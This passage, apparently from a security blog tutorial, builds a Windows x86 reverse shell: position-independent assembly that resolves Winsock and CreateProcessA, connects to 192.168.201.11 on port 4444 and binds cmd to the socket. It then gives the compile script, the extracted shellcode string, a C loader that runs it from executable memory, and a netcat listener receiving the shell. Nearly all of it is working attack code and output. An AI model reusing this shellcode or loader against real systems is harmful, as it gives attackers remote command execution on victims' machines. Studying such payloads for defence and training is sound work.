ADD EAX, EBX ;Get function name
CMP dword [EAX], 0x50746547 ;"PteG"
JNZ SHORT GetFunction ;jump to GetFunction label if not "GetP"
CMP dword [EAX + 0x4], 0x41636F72 ;"rocA"
JNZ SHORT GetFunction ;jump to GetFunction label if not "rocA"
CMP dword [EAX + 0x8], 0x65726464 ;"ddre"
JNZ SHORT GetFunction ;jump to GetFunction label if not "ddre"
MOV ESI, DWORD [EDX + 0x24] ;ESI = Offset ordinals
ADD ESI, EBX ;ESI = Ordinals table
MOV CX, WORD [ESI + ECX * 2] ;CX = Number of function
DEC ECX ;Decrement the ordinal
MOV ESI, DWORD [EDX + 0x1C] ;ESI = Offset address table
ADD ESI, EBX ;ESI = Address table
MOV EDX, DWORD [ESI + ECX * 4] ;EDX = Pointer(offset)
ADD EDX, EBX ;EDX = GetProcAddress
; Get the Address of LoadLibraryA function
XOR ECX, ECX ;ECX = 0
PUSH EBX ;Kernel32 base address
PUSH EDX ;GetProcAddress
PUSH ECX ;0
PUSH 0x41797261 ;"Ayra"
PUSH 0x7262694C ;"rbiL"
PUSH 0x64616F4C ;"daoL"
PUSH ESP ;"LoadLibrary"
PUSH EBX ;Kernel32 base address
MOV ESI, EBX ;save the kernel32 address in esi for later
CALL EDX ;GetProcAddress(LoadLibraryA)
ADD ESP, 0xC ;pop "LoadLibraryA"
POP EDX ;EDX = 0
PUSH EAX ;EAX = LoadLibraryA
PUSH EDX ;ECX = 0
MOV DX, 0x6C6C ;"ll"
PUSH EDX
PUSH 0x642E3233 ;"d.23"
PUSH 0x5F327377 ;"_2sw"
PUSH ESP ;"ws2_32.dll"
CALL EAX ;LoadLibrary("ws2_32.dll")
ADD ESP, 0x10 ;Clean stack
MOV EDX, [ESP + 0x4] ;EDX = GetProcAddress
PUSH 0x61617075 ;"aapu"
SUB word [ESP + 0x2], 0x6161 ;"pu" (remove "aa")
PUSH 0x74726174 ;"trat"
PUSH 0x53415357 ;"SASW"
PUSH ESP ;"WSAStartup"
PUSH EAX ;ws2_32.dll address
MOV EDI, EAX ;save ws2_32.dll to use it later
CALL EDX ;GetProcAddress(WSAStartup)
; Call WSAStartUp
XOR EBX, EBX ;zero out ebx register
MOV BX, 0x0190 ;EAX = sizeof(struct WSAData)
SUB ESP, EBX ;allocate space for the WSAData structure
PUSH ESP ;push a pointer to WSAData structure
PUSH EBX ;Push EBX as wVersionRequested
CALL EAX ;Call WSAStartUp
;Find the address of WSASocketA
ADD ESP, 0x10 ;Align the stack
XOR EBX, EBX ;zero out the EBX register
ADD BL, 0x4 ;add 0x4 at the lower register BL
IMUL EBX, 0x64 ;EBX = 0x190
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
PUSH 0x61614174 ;"aaAt"
SUB word [ESP + 0x2], 0x6161 ;"At" (remove "aa")
PUSH 0x656b636f ;"ekco"
PUSH 0x53415357 ;"SASW"
PUSH ESP ;"WSASocketA", GetProcAddress 2nd argument
MOV EAX, EDI ;EAX now holds the ws2_32.dll address
PUSH EAX ;push the first argument of GetProcAddress
CALL EDX ;call GetProcAddress
PUSH EDI ;save the ws2_32.dll address to use it later
;call WSASocketA
XOR ECX, ECX ;zero out ECX register
PUSH EDX ;null value for dwFlags argument
PUSH EDX ;zero value since we dont have an existing socket group
PUSH EDX ;null value for lpProtocolInfo
MOV DL, 0x6 ;IPPROTO_TCP
PUSH EDX ;set the protocol argument
INC ECX ;SOCK_STREAM(TCP)
PUSH ECX ;set the type argument
INC ECX ;AF_INET(IPv4)
PUSH ECX ;set the ddress family specification argument
CALL EAX ;call WSASocketA
XCHG EAX, ECX ;save the socket returned from WSASocketA at EAX to ECX in order to use it later
;Find the address of connect
POP EDI ;load previously saved ws2_32.dll address to ECX
ADD ESP, 0x10 ;Align stack
XOR EBX, EBX ;zero out EBX
ADD BL, 0x4 ;add 0x4 to lower register BL
IMUL EBX, 0x63 ;EBX = 0x18c
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
PUSH 0x61746365 ;"atce"
SUB word [ESP + 0x3], 0x61 ;"tce" (remove "a")
PUSH 0x6e6e6f63 ;"nnoc"
PUSH ESP ;"connect", second argument of GetProcAddress
PUSH EDI ;ws32_2.dll address, first argument of GetProcAddress
XCHG ECX, EBP
CALL EDX ;call GetProcAddress
;call connect
PUSH 0x0bc9a8c0 ;sin_addr set to 192.168.201.11
PUSH word 0x5c11 ;port = 4444
XOR EBX, EBX ;zero out EBX
add BL, 0x2 ;TCP protocol
PUSH word BX ;push the protocol value on the stack
MOV EDX, ESP ;pointer to sockaddr structure (IP,Port,Protocol)
PUSH byte 16 ;the size of sockaddr - 3rd argument of connect
PUSH EDX ;push the sockaddr - 2nd argument of connect
PUSH EBP ;socket descriptor = 64 - 1st argument of connect
XCHG EBP, EDI
CALL EAX ;execute connect;
;Find the address of CreateProcessA
ADD ESP, 0x14 ;Clean stack
XOR EBX, EBX ;zero out EBX
ADD BL, 0x4 ;add 0x4 to lower register BL
IMUL EBX, 0x62 ;EBX = 0x194
MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddress
PUSH 0x61614173 ;"aaAs"
SUB dword [ESP + 0x2], 0x6161 ;"As"
PUSH 0x7365636f ;"seco"
PUSH 0x72506574 ;"rPet"
PUSH 0x61657243 ;"aerC"
PUSH ESP ;"CreateProcessA" - 2nd argument of GetProcAddress
MOV EBP, ESI ;move the kernel32.dll to EBP
PUSH EBP ;kernel32.dll address - 1st argument of GetProcAddress
CALL EDX ;execute GetProcAddress
PUSH EAX ;address of CreateProcessA
LEA EBP, [EAX] ;EBP now points to the address of CreateProcessA
;call CreateProcessA
PUSH 0x61646d63 ;"admc"
SUB word [ESP + 0x3], 0x61 ;"dmc" ( remove a)
MOV ECX, ESP ;ecx now points to "cmd" string
XOR EDX, EDX ;zero out EDX
SUB ESP, 16
MOV EBX, esp ;pointer for ProcessInfo
;STARTUPINFOA struct
PUSH EDI ;hStdError => saved socket
PUSH EDI ;hStdOutput => saved socket
PUSH EDI ;hStdInput => saved socket
PUSH EDX ;lpReserved2 => NULL
PUSH EDX ;cbReserved2 => NULL
XOR EAX, EAX ;zero out EAX register
INC EAX ;EAX => 0x00000001
ROL EAX, 8 ;EAX => 0x00000100
PUSH EAX ;dwFlags => STARTF_USESTDHANDLES 0x00000100
PUSH EDX ;dwFillAttribute => NULL
PUSH EDX ;dwYCountChars => NULL
PUSH EDX ;dwXCountChars => NULL
PUSH EDX ;dwYSize => NULL
PUSH EDX ;dwXSize => NULL
PUSH EDX ;dwY => NULL
PUSH EDX ;dwX => NULL
PUSH EDX ;pTitle => NULL
PUSH EDX ;pDesktop => NULL
PUSH EDX ;pReserved => NULL
XOR EAX, EAX ;zero out EAX
ADD AL, 44 ;cb => 0x44 (size of struct)
PUSH EAX ;eax points to STARTUPINFOA
;ProcessInfo struct
MOV EAX, ESP ;pStartupInfo
PUSH EBX ;pProcessInfo
PUSH EAX ;pStartupInfo
PUSH EDX ;CurrentDirectory => NULL
PUSH EDX ;pEnvironment => NULL
PUSH EDX ;CreationFlags => 0
XOR EAX, EAX ;zero out EAX register
INC EAX ;EAX => 0x00000001
PUSH EAX ;InheritHandles => TRUE => 1
PUSH EDX ;pThreadAttributes => NULL
PUSH EDX ;pProcessAttributes => NULL
PUSH ECX ;pCommandLine => pointer to "cmd"
PUSH EDX ;ApplicationName => NULL
CALL EBP ;execute CreateProcessA
The above code will be saved inside a file named rev.nasm
in order to be compiled and linked.
The following bash script compile.sh
will be used for compilation and linking
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -f win32 $1.nasm -o $1.obj
echo '[+] Linking ...'
ld -o $1.exe $1.obj
echo '[+] Done!'
In case the execution of the compile.sh
above produces the following output and linking error
──(root㉿kali)-[/home/kali/Desktop]
└─# ./compile.sh rev
[+] Assembling with Nasm ...
[+] Linking ...
ld: i386 architecture of input file `rev.obj' is incompatible with i386:x86-64 output
[+] Done!
Alter the line that performs the linking with the following
#!/bin/bash
echo '[+] Assembling with Nasm ... '
nasm -f win32 $1.nasm -o $1.obj
echo '[+] Linking ...'
ld -m elf_i386 -s -o $1.exe $1.obj
echo '[+] Done!'
Then run the compile.sh
again
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ./compile.sh rev
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
At this point we use objdump
in order to produce the shellcode:
kali@kali:~/Desktop$ objdump -d ./testasm.exe|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xc9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\x89\xde\xff\xd2\x83\xc4\x0c\x5a\x50\x52\x66\xba\x6c\x6c\x52\x68\x33\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x04\x68\x75\x70\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x50\x89\xc7\xff\xd2\x31\xdb\x66\xbb\x90\x01\x29\xdc\x54\x53\xff\xd0\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x64\x8b\x14\x1c\x68\x74\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x89\xf8\x50\xff\xd2\x57\x31\xc9\x52\x52\x52\xb2\x06\x52\x41\x51\x41\x51\xff\xd0\x91\x5f\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x63\x8b\x14\x1c\x68\x65\x63\x74\x61\x66\x83\x6c\x24\x03\x61\x68\x63\x6f\x6e\x6e\x54\x57\x87\xcd\xff\xd2\x68\xc0\xa8\xc9\x0b\x66\x68\x11\x5c\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x55\x87\xef\xff\xd0\x83\xc4\x14\x31\xdb\x80\xc3\x04\x6b\xdb\x62\x8b\x14\x1c\x68\x73\x41\x61\x61\x81\x6c\x24\x02\x61\x61\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x89\xf5\x55\xff\xd2\x50\x8d\x28\x68\x63\x6d\x64\x61\x66\x83\x6c\x24\x03\x61\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xff\xd5"
In order to execute the above shellcode, we should create a STUB program in C which will deliver the execution. The following program will execute the reverse shellcode.
#include <windows.h> char code[] = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x96\xad\x8b" "\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31" "\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f" "\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde" "\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xc9\x53" "\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54" "\x53\x89\xde\xff\xd2\x83\xc4\x0c\x5a\x50\x52\x66\xba\x6c\x6c\x52\x68\x33" "\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x04" "\x68\x75\x70\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x74\x61\x72\x74\x68" "\x57\x53\x41\x53\x54\x50\x89\xc7\xff\xd2\x31\xdb\x66\xbb\x90\x01\x29\xdc" "\x54\x53\xff\xd0\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x64\x8b\x14\x1c" "\x68\x74\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x6b\x65\x68" "\x57\x53\x41\x53\x54\x89\xf8\x50\xff\xd2\x57\x31\xc9\x52\x52\x52\xb2\x06" "\x52\x41\x51\x41\x51\xff\xd0\x91\x5f\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b" "\xdb\x63\x8b\x14\x1c\x68\x65\x63\x74\x61\x66\x83\x6c\x24\x03\x61\x68\x63" "\x6f\x6e\x6e\x54\x57\x87\xcd\xff\xd2\x68\xc0\xa8\xc9\x0b\x66\x68\x11\x5c" "\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x55\x87\xef\xff\xd0\x83" "\xc4\x14\x31\xdb\x80\xc3\x04\x6b\xdb\x62\x8b\x14\x1c\x68\x73\x41\x61\x61" "\x81\x6c\x24\x02\x61\x61\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72" "\x68\x43\x72\x65\x61\x54\x89\xf5\x55\xff\xd2\x50\x8d\x28\x68\x63\x6d\x64" "\x61\x66\x83\x6c\x24\x03\x61\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57" "\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52" "\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50" "\x52\x52\x51\x52\xff\xd5"; int main(int argc, char** argv) { void* exec = VirtualAlloc(0, strlen(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, code, sizeof(code)); ((void(*)())exec)(); return 0; }
After compiling and running the above program we will have command execution on our kali machine as seen at the screenshot below
kali@kali:~/Desktop$ nc -nlvp 4444 listening on [any] 4444 ... connect to [192.168.201.11] from (UNKNOWN) [192.168.201.12] 60839 Microsoft Windows [Version 10.0.19043.1165] (c) Microsoft Corporation. All rights reserved. C:\Users\Xenofon\source\repos\test\test>
Leave a comment